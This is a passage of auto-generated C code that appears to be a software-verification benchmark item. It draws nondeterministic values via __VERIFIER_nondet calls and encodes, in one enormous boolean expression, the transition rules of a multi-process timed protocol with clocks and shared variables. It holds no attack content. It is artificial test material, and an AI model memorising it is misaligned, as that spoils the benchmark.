_x_p1_l3 = __VERIFIER_nondet_bool();
_x_p1_c = __VERIFIER_nondet_float();
_x_p12_l1 = __VERIFIER_nondet_bool();
_x_p12_l0 = __VERIFIER_nondet_bool();
_x_p12_l2 = __VERIFIER_nondet_bool();
_x_p12_l3 = __VERIFIER_nondet_bool();
_x_p2_l1 = __VERIFIER_nondet_bool();
_x_p12_c = __VERIFIER_nondet_float();
_x_p2_l0 = __VERIFIER_nondet_bool();
_x_p2_l2 = __VERIFIER_nondet_bool();
_x_p2_l3 = __VERIFIER_nondet_bool();
_x_p2_c = __VERIFIER_nondet_float();
_x_p13_l1 = __VERIFIER_nondet_bool();
_x_p13_l0 = __VERIFIER_nondet_bool();
_x_p13_l2 = __VERIFIER_nondet_bool();
_x_p13_l3 = __VERIFIER_nondet_bool();
_x_p3_l1 = __VERIFIER_nondet_bool();
_x_p13_c = __VERIFIER_nondet_float();
_x_p3_l0 = __VERIFIER_nondet_bool();
_x_p3_l2 = __VERIFIER_nondet_bool();
_x_p3_l3 = __VERIFIER_nondet_bool();
_x_p3_c = __VERIFIER_nondet_float();
_x_p14_l1 = __VERIFIER_nondet_bool();
_x_p14_l0 = __VERIFIER_nondet_bool();
_x_p14_l2 = __VERIFIER_nondet_bool();
_x_p14_l3 = __VERIFIER_nondet_bool();
_x_p4_l1 = __VERIFIER_nondet_bool();
_x_p14_c = __VERIFIER_nondet_float();
_x_p4_l0 = __VERIFIER_nondet_bool();
_x_p4_l2 = __VERIFIER_nondet_bool();
_x_p4_l3 = __VERIFIER_nondet_bool();
_x_p4_c = __VERIFIER_nondet_float();
_x_p15_l1 = __VERIFIER_nondet_bool();
_x_p15_l0 = __VERIFIER_nondet_bool();
_x_p15_l2 = __VERIFIER_nondet_bool();
_x_p15_l3 = __VERIFIER_nondet_bool();
_x_p5_l1 = __VERIFIER_nondet_bool();
_x_p15_c = __VERIFIER_nondet_float();
_x_p5_l0 = __VERIFIER_nondet_bool();
_x_p5_l2 = __VERIFIER_nondet_bool();
_x_p5_l3 = __VERIFIER_nondet_bool();
__ok = (((((((((((((((((((((((((_x_p17_l3 && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1)))) || ((( !_x_p17_l3) && (_x_p17_l2 && (_x_p17_l0 && _x_p17_l1))) || ((( !_x_p17_l3) && (_x_p17_l2 && (_x_p17_l1 && ( !_x_p17_l0)))) || ((( !_x_p17_l3) && (_x_p17_l2 && (_x_p17_l0 && ( !_x_p17_l1)))) || ((( !_x_p17_l3) && (_x_p17_l2 && (( !_x_p17_l0) && ( !_x_p17_l1)))) || ((( !_x_p17_l3) && (( !_x_p17_l2) && (_x_p17_l0 && _x_p17_l1))) || ((( !_x_p17_l3) && (( !_x_p17_l2) && (_x_p17_l1 && ( !_x_p17_l0)))) || ((( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1)))) || (( !_x_p17_l3) && (( !_x_p17_l2) && (_x_p17_l0 && ( !_x_p17_l1)))))))))))) && ((_x_p17_c <= _x_proposed17) || ( !(((( !_x_p17_l3) && (( !_x_p17_l2) && (_x_p17_l0 && ( !_x_p17_l1)))) || (( !_x_p17_l3) && (_x_p17_l2 && (( !_x_p17_l0) && ( !_x_p17_l1))))) || ((( !_x_p17_l3) && (_x_p17_l2 && (_x_p17_l0 && _x_p17_l1))) || (_x_p17_l3 && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1))))))))) && (((((((p17_l0 == _x_p17_l0) && (p17_l1 == _x_p17_l1)) && (p17_l2 == _x_p17_l2)) && (p17_l3 == _x_p17_l3)) && ((delta + (p17_c + (-1.0 * _x_p17_c))) == 0.0)) && (proposed17 == _x_proposed17)) || ( !(( !(delta <= 0.0)) || ( !p17_evt))))) && (((((v1 == 0) && (( !_x_p17_l3) && (( !_x_p17_l2) && (_x_p17_l0 && ( !_x_p17_l1))))) && ((v2 == _x_v2) && (_x_p17_c == 0.0))) && ((v1 == _x_v1) && (proposed17 == _x_proposed17))) || ( !((( !p17_l3) && (( !p17_l2) && (( !p17_l0) && ( !p17_l1)))) && ((delta == 0.0) && p17_evt))))) && (((proposed17 == _x_proposed17) && (((v2 == _x_v2) && (_x_p17_c == 0.0)) && ((( !_x_p17_l3) && (( !_x_p17_l2) && (_x_p17_l1 && ( !_x_p17_l0)))) && (_x_v1 == 18)))) || ( !((( !p17_l3) && (( !p17_l2) && (p17_l0 && ( !p17_l1)))) && ((delta == 0.0) && p17_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1)))) || (( !_x_p17_l3) && (( !_x_p17_l2) && (_x_p17_l0 && _x_p17_l1)))) && (p17_c == _x_p17_c))) || ( !((( !p17_l3) && (( !p17_l2) && (p17_l1 && ( !p17_l0)))) && ((delta == 0.0) && p17_evt))))) && (((proposed17 == _x_proposed17) && ( !(v1 == 18))) || ( !(((delta == 0.0) && p17_evt) && ((( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1)))) && (( !p17_l3) && (( !p17_l2) && (p17_l1 && ( !p17_l0))))))))) && ((((v1 == 18) && ( !(p17_c <= max_prop))) && ( !(proposed17 <= _x_proposed17))) || ( !(((delta == 0.0) && p17_evt) && ((( !p17_l3) && (( !p17_l2) && (p17_l1 && ( !p17_l0)))) && (( !_x_p17_l3) && (( !_x_p17_l2) && (_x_p17_l0 && _x_p17_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed17 == _x_proposed17) && ((( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1)))) || (( !_x_p17_l3) && (_x_p17_l2 && (( !_x_p17_l0) && ( !_x_p17_l1))))))) || ( !((( !p17_l3) && (( !p17_l2) && (p17_l0 && p17_l1))) && ((delta == 0.0) && p17_evt))))) && ((v2 && (p17_c == _x_p17_c)) || ( !(((delta == 0.0) && p17_evt) && ((( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1)))) && (( !p17_l3) && (( !p17_l2) && (p17_l0 && p17_l1)))))))) && ((( !v2) && (_x_p17_c == 0.0)) || ( !(((delta == 0.0) && p17_evt) && ((( !p17_l3) && (( !p17_l2) && (p17_l0 && p17_l1))) && (( !_x_p17_l3) && (_x_p17_l2 && (( !_x_p17_l0) && ( !_x_p17_l1))))))))) && ((((v1 == _x_v1) && (proposed17 == _x_proposed17)) && ((_x_p17_c == 0.0) && (_x_v2 && (( !_x_p17_l3) && (_x_p17_l2 && (_x_p17_l0 && ( !_x_p17_l1))))))) || ( !((( !p17_l3) && (p17_l2 && (( !p17_l0) && ( !p17_l1)))) && ((delta == 0.0) && p17_evt))))) && (((proposed17 == _x_proposed17) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p17_c == _x_p17_c) && ((( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1)))) || (( !_x_p17_l3) && (_x_p17_l2 && (_x_p17_l1 && ( !_x_p17_l0)))))))) || ( !((( !p17_l3) && (p17_l2 && (p17_l0 && ( !p17_l1)))) && ((delta == 0.0) && p17_evt))))) && (( !(v1 == 18)) || ( !(((delta == 0.0) && p17_evt) && ((( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1)))) && (( !p17_l3) && (p17_l2 && (p17_l0 && ( !p17_l1))))))))) && ((v1 == 18) || ( !(((delta == 0.0) && p17_evt) && ((( !p17_l3) && (p17_l2 && (p17_l0 && ( !p17_l1)))) && (( !_x_p17_l3) && (_x_p17_l2 && (_x_p17_l1 && ( !_x_p17_l0))))))))) && (((proposed17 == _x_proposed17) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p17_l3) && (_x_p17_l2 && (_x_p17_l0 && _x_p17_l1))) && (_x_p17_c == 0.0)))) || ( !((( !p17_l3) && (p17_l2 && (p17_l1 && ( !p17_l0)))) && ((delta == 0.0) && p17_evt))))) && (((proposed17 == _x_proposed17) && ((( !_x_v2) && (_x_p17_l3 && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1))))) && ((v1 == _x_v1) && (_x_p17_c == 0.0)))) || ( !((( !p17_l3) && (p17_l2 && (p17_l0 && p17_l1))) && ((delta == 0.0) && p17_evt))))) && (((proposed17 == _x_proposed17) && (((_x_v1 == 0) && (( !_x_p17_l3) && (( !_x_p17_l2) && (( !_x_p17_l0) && ( !_x_p17_l1))))) && ((v2 == _x_v2) && (p17_c == _x_p17_c)))) || ( !((p17_l3 && (( !p17_l2) && (( !p17_l0) && ( !p17_l1)))) && ((delta == 0.0) && p17_evt))))) && ((((((((((((((((((((_x_p16_l3 && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) || ((( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l0 && _x_p16_l1))) || ((( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l1 && ( !_x_p16_l0)))) || ((( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l0 && ( !_x_p16_l1)))) || ((( !_x_p16_l3) && (_x_p16_l2 && (( !_x_p16_l0) && ( !_x_p16_l1)))) || ((( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && _x_p16_l1))) || ((( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l1 && ( !_x_p16_l0)))) || ((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) || (( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && ( !_x_p16_l1)))))))))))) && ((_x_p16_c <= _x_proposed16) || ( !(((( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && ( !_x_p16_l1)))) || (( !_x_p16_l3) && (_x_p16_l2 && (( !_x_p16_l0) && ( !_x_p16_l1))))) || ((( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l0 && _x_p16_l1))) || (_x_p16_l3 && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1))))))))) && (((((((p16_l0 == _x_p16_l0) && (p16_l1 == _x_p16_l1)) && (p16_l2 == _x_p16_l2)) && (p16_l3 == _x_p16_l3)) && ((delta + (p16_c + (-1.0 * _x_p16_c))) == 0.0)) && (proposed16 == _x_proposed16)) || ( !(( !(delta <= 0.0)) || ( !p16_evt))))) && (((((v1 == 0) && (( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && ( !_x_p16_l1))))) && ((v2 == _x_v2) && (_x_p16_c == 0.0))) && ((v1 == _x_v1) && (proposed16 == _x_proposed16))) || ( !((( !p16_l3) && (( !p16_l2) && (( !p16_l0) && ( !p16_l1)))) && ((delta == 0.0) && p16_evt))))) && (((proposed16 == _x_proposed16) && (((v2 == _x_v2) && (_x_p16_c == 0.0)) && ((( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l1 && ( !_x_p16_l0)))) && (_x_v1 == 17)))) || ( !((( !p16_l3) && (( !p16_l2) && (p16_l0 && ( !p16_l1)))) && ((delta == 0.0) && p16_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) || (( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && _x_p16_l1)))) && (p16_c == _x_p16_c))) || ( !((( !p16_l3) && (( !p16_l2) && (p16_l1 && ( !p16_l0)))) && ((delta == 0.0) && p16_evt))))) && (((proposed16 == _x_proposed16) && ( !(v1 == 17))) || ( !(((delta == 0.0) && p16_evt) && ((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) && (( !p16_l3) && (( !p16_l2) && (p16_l1 && ( !p16_l0))))))))) && ((((v1 == 17) && ( !(p16_c <= max_prop))) && ( !(proposed16 <= _x_proposed16))) || ( !(((delta == 0.0) && p16_evt) && ((( !p16_l3) && (( !p16_l2) && (p16_l1 && ( !p16_l0)))) && (( !_x_p16_l3) && (( !_x_p16_l2) && (_x_p16_l0 && _x_p16_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed16 == _x_proposed16) && ((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) || (( !_x_p16_l3) && (_x_p16_l2 && (( !_x_p16_l0) && ( !_x_p16_l1))))))) || ( !((( !p16_l3) && (( !p16_l2) && (p16_l0 && p16_l1))) && ((delta == 0.0) && p16_evt))))) && ((v2 && (p16_c == _x_p16_c)) || ( !(((delta == 0.0) && p16_evt) && ((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) && (( !p16_l3) && (( !p16_l2) && (p16_l0 && p16_l1)))))))) && ((( !v2) && (_x_p16_c == 0.0)) || ( !(((delta == 0.0) && p16_evt) && ((( !p16_l3) && (( !p16_l2) && (p16_l0 && p16_l1))) && (( !_x_p16_l3) && (_x_p16_l2 && (( !_x_p16_l0) && ( !_x_p16_l1))))))))) && ((((v1 == _x_v1) && (proposed16 == _x_proposed16)) && ((_x_p16_c == 0.0) && (_x_v2 && (( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l0 && ( !_x_p16_l1))))))) || ( !((( !p16_l3) && (p16_l2 && (( !p16_l0) && ( !p16_l1)))) && ((delta == 0.0) && p16_evt))))) && (((proposed16 == _x_proposed16) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p16_c == _x_p16_c) && ((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) || (( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l1 && ( !_x_p16_l0)))))))) || ( !((( !p16_l3) && (p16_l2 && (p16_l0 && ( !p16_l1)))) && ((delta == 0.0) && p16_evt))))) && (( !(v1 == 17)) || ( !(((delta == 0.0) && p16_evt) && ((( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1)))) && (( !p16_l3) && (p16_l2 && (p16_l0 && ( !p16_l1))))))))) && ((v1 == 17) || ( !(((delta == 0.0) && p16_evt) && ((( !p16_l3) && (p16_l2 && (p16_l0 && ( !p16_l1)))) && (( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l1 && ( !_x_p16_l0))))))))) && (((proposed16 == _x_proposed16) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p16_l3) && (_x_p16_l2 && (_x_p16_l0 && _x_p16_l1))) && (_x_p16_c == 0.0)))) || ( !((( !p16_l3) && (p16_l2 && (p16_l1 && ( !p16_l0)))) && ((delta == 0.0) && p16_evt))))) && (((proposed16 == _x_proposed16) && ((( !_x_v2) && (_x_p16_l3 && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1))))) && ((v1 == _x_v1) && (_x_p16_c == 0.0)))) || ( !((( !p16_l3) && (p16_l2 && (p16_l0 && p16_l1))) && ((delta == 0.0) && p16_evt))))) && (((proposed16 == _x_proposed16) && (((_x_v1 == 0) && (( !_x_p16_l3) && (( !_x_p16_l2) && (( !_x_p16_l0) && ( !_x_p16_l1))))) && ((v2 == _x_v2) && (p16_c == _x_p16_c)))) || ( !((p16_l3 && (( !p16_l2) && (( !p16_l0) && ( !p16_l1)))) && ((delta == 0.0) && p16_evt))))) && ((((((((((((((((((((_x_p15_l3 && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1)))) || ((( !_x_p15_l3) && (_x_p15_l2 && (_x_p15_l0 && _x_p15_l1))) || ((( !_x_p15_l3) && (_x_p15_l2 && (_x_p15_l1 && ( !_x_p15_l0)))) || ((( !_x_p15_l3) && (_x_p15_l2 && (_x_p15_l0 && ( !_x_p15_l1)))) || ((( !_x_p15_l3) && (_x_p15_l2 && (( !_x_p15_l0) && ( !_x_p15_l1)))) || ((( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l0 && _x_p15_l1))) || ((( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l1 && ( !_x_p15_l0)))) || ((( !_x_p15_l3) && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1)))) || (( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l0 && ( !_x_p15_l1)))))))))))) && ((_x_p15_c <= _x_proposed15) || ( !(((( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l0 && ( !_x_p15_l1)))) || (( !_x_p15_l3) && (_x_p15_l2 && (( !_x_p15_l0) && ( !_x_p15_l1))))) || ((( !_x_p15_l3) && (_x_p15_l2 && (_x_p15_l0 && _x_p15_l1))) || (_x_p15_l3 && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1))))))))) && (((((((p15_l0 == _x_p15_l0) && (p15_l1 == _x_p15_l1)) && (p15_l2 == _x_p15_l2)) && (p15_l3 == _x_p15_l3)) && ((delta + (p15_c + (-1.0 * _x_p15_c))) == 0.0)) && (proposed15 == _x_proposed15)) || ( !(( !(delta <= 0.0)) || ( !p15_evt))))) && (((((v1 == 0) && (( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l0 && ( !_x_p15_l1))))) && ((v2 == _x_v2) && (_x_p15_c == 0.0))) && ((v1 == _x_v1) && (proposed15 == _x_proposed15))) || ( !((( !p15_l3) && (( !p15_l2) && (( !p15_l0) && ( !p15_l1)))) && ((delta == 0.0) && p15_evt))))) && (((proposed15 == _x_proposed15) && (((v2 == _x_v2) && (_x_p15_c == 0.0)) && ((( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l1 && ( !_x_p15_l0)))) && (_x_v1 == 16)))) || ( !((( !p15_l3) && (( !p15_l2) && (p15_l0 && ( !p15_l1)))) && ((delta == 0.0) && p15_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p15_l3) && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1)))) || (( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l0 && _x_p15_l1)))) && (p15_c == _x_p15_c))) || ( !((( !p15_l3) && (( !p15_l2) && (p15_l1 && ( !p15_l0)))) && ((delta == 0.0) && p15_evt))))) && (((proposed15 == _x_proposed15) && ( !(v1 == 16))) || ( !(((delta == 0.0) && p15_evt) && ((( !_x_p15_l3) && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1)))) && (( !p15_l3) && (( !p15_l2) && (p15_l1 && ( !p15_l0))))))))) && ((((v1 == 16) && ( !(p15_c <= max_prop))) && ( !(proposed15 <= _x_proposed15))) || ( !(((delta == 0.0) && p15_evt) && ((( !p15_l3) && (( !p15_l2) && (p15_l1 && ( !p15_l0)))) && (( !_x_p15_l3) && (( !_x_p15_l2) && (_x_p15_l0 && _x_p15_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed15 == _x_proposed15) && ((( !_x_p15_l3) && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1)))) || (( !_x_p15_l3) && (_x_p15_l2 && (( !_x_p15_l0) && ( !_x_p15_l1))))))) || ( !((( !p15_l3) && (( !p15_l2) && (p15_l0 && p15_l1))) && ((delta == 0.0) && p15_evt))))) && ((v2 && (p15_c == _x_p15_c)) || ( !(((delta == 0.0) && p15_evt) && ((( !_x_p15_l3) && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1)))) && (( !p15_l3) && (( !p15_l2) && (p15_l0 && p15_l1)))))))) && ((( !v2) && (_x_p15_c == 0.0)) || ( !(((delta == 0.0) && p15_evt) && ((( !p15_l3) && (( !p15_l2) && (p15_l0 && p15_l1))) && (( !_x_p15_l3) && (_x_p15_l2 && (( !_x_p15_l0) && ( !_x_p15_l1))))))))) && ((((v1 == _x_v1) && (proposed15 == _x_proposed15)) && ((_x_p15_c == 0.0) && (_x_v2 && (( !_x_p15_l3) && (_x_p15_l2 && (_x_p15_l0 && ( !_x_p15_l1))))))) || ( !((( !p15_l3) && (p15_l2 && (( !p15_l0) && ( !p15_l1)))) && ((delta == 0.0) && p15_evt))))) && (((proposed15 == _x_proposed15) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p15_c == _x_p15_c) && ((( !_x_p15_l3) && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1)))) || (( !_x_p15_l3) && (_x_p15_l2 && (_x_p15_l1 && ( !_x_p15_l0)))))))) || ( !((( !p15_l3) && (p15_l2 && (p15_l0 && ( !p15_l1)))) && ((delta == 0.0) && p15_evt))))) && (( !(v1 == 16)) || ( !(((delta == 0.0) && p15_evt) && ((( !_x_p15_l3) && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1)))) && (( !p15_l3) && (p15_l2 && (p15_l0 && ( !p15_l1))))))))) && ((v1 == 16) || ( !(((delta == 0.0) && p15_evt) && ((( !p15_l3) && (p15_l2 && (p15_l0 && ( !p15_l1)))) && (( !_x_p15_l3) && (_x_p15_l2 && (_x_p15_l1 && ( !_x_p15_l0))))))))) && (((proposed15 == _x_proposed15) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p15_l3) && (_x_p15_l2 && (_x_p15_l0 && _x_p15_l1))) && (_x_p15_c == 0.0)))) || ( !((( !p15_l3) && (p15_l2 && (p15_l1 && ( !p15_l0)))) && ((delta == 0.0) && p15_evt))))) && (((proposed15 == _x_proposed15) && ((( !_x_v2) && (_x_p15_l3 && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1))))) && ((v1 == _x_v1) && (_x_p15_c == 0.0)))) || ( !((( !p15_l3) && (p15_l2 && (p15_l0 && p15_l1))) && ((delta == 0.0) && p15_evt))))) && (((proposed15 == _x_proposed15) && (((_x_v1 == 0) && (( !_x_p15_l3) && (( !_x_p15_l2) && (( !_x_p15_l0) && ( !_x_p15_l1))))) && ((v2 == _x_v2) && (p15_c == _x_p15_c)))) || ( !((p15_l3 && (( !p15_l2) && (( !p15_l0) && ( !p15_l1)))) && ((delta == 0.0) && p15_evt))))) && ((((((((((((((((((((_x_p14_l3 && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) || ((( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l0 && _x_p14_l1))) || ((( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l1 && ( !_x_p14_l0)))) || ((( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l0 && ( !_x_p14_l1)))) || ((( !_x_p14_l3) && (_x_p14_l2 && (( !_x_p14_l0) && ( !_x_p14_l1)))) || ((( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && _x_p14_l1))) || ((( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l1 && ( !_x_p14_l0)))) || ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) || (( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && ( !_x_p14_l1)))))))))))) && ((_x_p14_c <= _x_proposed14) || ( !(((( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && ( !_x_p14_l1)))) || (( !_x_p14_l3) && (_x_p14_l2 && (( !_x_p14_l0) && ( !_x_p14_l1))))) || ((( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l0 && _x_p14_l1))) || (_x_p14_l3 && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1))))))))) && (((((((p14_l0 == _x_p14_l0) && (p14_l1 == _x_p14_l1)) && (p14_l2 == _x_p14_l2)) && (p14_l3 == _x_p14_l3)) && ((delta + (p14_c + (-1.0 * _x_p14_c))) == 0.0)) && (proposed14 == _x_proposed14)) || ( !(( !(delta <= 0.0)) || ( !p14_evt))))) && (((((v1 == 0) && (( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && ( !_x_p14_l1))))) && ((v2 == _x_v2) && (_x_p14_c == 0.0))) && ((v1 == _x_v1) && (proposed14 == _x_proposed14))) || ( !((( !p14_l3) && (( !p14_l2) && (( !p14_l0) && ( !p14_l1)))) && ((delta == 0.0) && p14_evt))))) && (((proposed14 == _x_proposed14) && (((v2 == _x_v2) && (_x_p14_c == 0.0)) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l1 && ( !_x_p14_l0)))) && (_x_v1 == 15)))) || ( !((( !p14_l3) && (( !p14_l2) && (p14_l0 && ( !p14_l1)))) && ((delta == 0.0) && p14_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) || (( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && _x_p14_l1)))) && (p14_c == _x_p14_c))) || ( !((( !p14_l3) && (( !p14_l2) && (p14_l1 && ( !p14_l0)))) && ((delta == 0.0) && p14_evt))))) && (((proposed14 == _x_proposed14) && ( !(v1 == 15))) || ( !(((delta == 0.0) && p14_evt) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) && (( !p14_l3) && (( !p14_l2) && (p14_l1 && ( !p14_l0))))))))) && ((((v1 == 15) && ( !(p14_c <= max_prop))) && ( !(proposed14 <= _x_proposed14))) || ( !(((delta == 0.0) && p14_evt) && ((( !p14_l3) && (( !p14_l2) && (p14_l1 && ( !p14_l0)))) && (( !_x_p14_l3) && (( !_x_p14_l2) && (_x_p14_l0 && _x_p14_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed14 == _x_proposed14) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) || (( !_x_p14_l3) && (_x_p14_l2 && (( !_x_p14_l0) && ( !_x_p14_l1))))))) || ( !((( !p14_l3) && (( !p14_l2) && (p14_l0 && p14_l1))) && ((delta == 0.0) && p14_evt))))) && ((v2 && (p14_c == _x_p14_c)) || ( !(((delta == 0.0) && p14_evt) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) && (( !p14_l3) && (( !p14_l2) && (p14_l0 && p14_l1)))))))) && ((( !v2) && (_x_p14_c == 0.0)) || ( !(((delta == 0.0) && p14_evt) && ((( !p14_l3) && (( !p14_l2) && (p14_l0 && p14_l1))) && (( !_x_p14_l3) && (_x_p14_l2 && (( !_x_p14_l0) && ( !_x_p14_l1))))))))) && ((((v1 == _x_v1) && (proposed14 == _x_proposed14)) && ((_x_p14_c == 0.0) && (_x_v2 && (( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l0 && ( !_x_p14_l1))))))) || ( !((( !p14_l3) && (p14_l2 && (( !p14_l0) && ( !p14_l1)))) && ((delta == 0.0) && p14_evt))))) && (((proposed14 == _x_proposed14) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p14_c == _x_p14_c) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) || (( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l1 && ( !_x_p14_l0)))))))) || ( !((( !p14_l3) && (p14_l2 && (p14_l0 && ( !p14_l1)))) && ((delta == 0.0) && p14_evt))))) && (( !(v1 == 15)) || ( !(((delta == 0.0) && p14_evt) && ((( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1)))) && (( !p14_l3) && (p14_l2 && (p14_l0 && ( !p14_l1))))))))) && ((v1 == 15) || ( !(((delta == 0.0) && p14_evt) && ((( !p14_l3) && (p14_l2 && (p14_l0 && ( !p14_l1)))) && (( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l1 && ( !_x_p14_l0))))))))) && (((proposed14 == _x_proposed14) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p14_l3) && (_x_p14_l2 && (_x_p14_l0 && _x_p14_l1))) && (_x_p14_c == 0.0)))) || ( !((( !p14_l3) && (p14_l2 && (p14_l1 && ( !p14_l0)))) && ((delta == 0.0) && p14_evt))))) && (((proposed14 == _x_proposed14) && ((( !_x_v2) && (_x_p14_l3 && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1))))) && ((v1 == _x_v1) && (_x_p14_c == 0.0)))) || ( !((( !p14_l3) && (p14_l2 && (p14_l0 && p14_l1))) && ((delta == 0.0) && p14_evt))))) && (((proposed14 == _x_proposed14) && (((_x_v1 == 0) && (( !_x_p14_l3) && (( !_x_p14_l2) && (( !_x_p14_l0) && ( !_x_p14_l1))))) && ((v2 == _x_v2) && (p14_c == _x_p14_c)))) || ( !((p14_l3 && (( !p14_l2) && (( !p14_l0) && ( !p14_l1)))) && ((delta == 0.0) && p14_evt))))) && ((((((((((((((((((((_x_p13_l3 && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) || ((( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l0 && _x_p13_l1))) || ((( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l1 && ( !_x_p13_l0)))) || ((( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l0 && ( !_x_p13_l1)))) || ((( !_x_p13_l3) && (_x_p13_l2 && (( !_x_p13_l0) && ( !_x_p13_l1)))) || ((( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l0 && _x_p13_l1))) || ((( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l1 && ( !_x_p13_l0)))) || ((( !_x_p13_l3) && (( 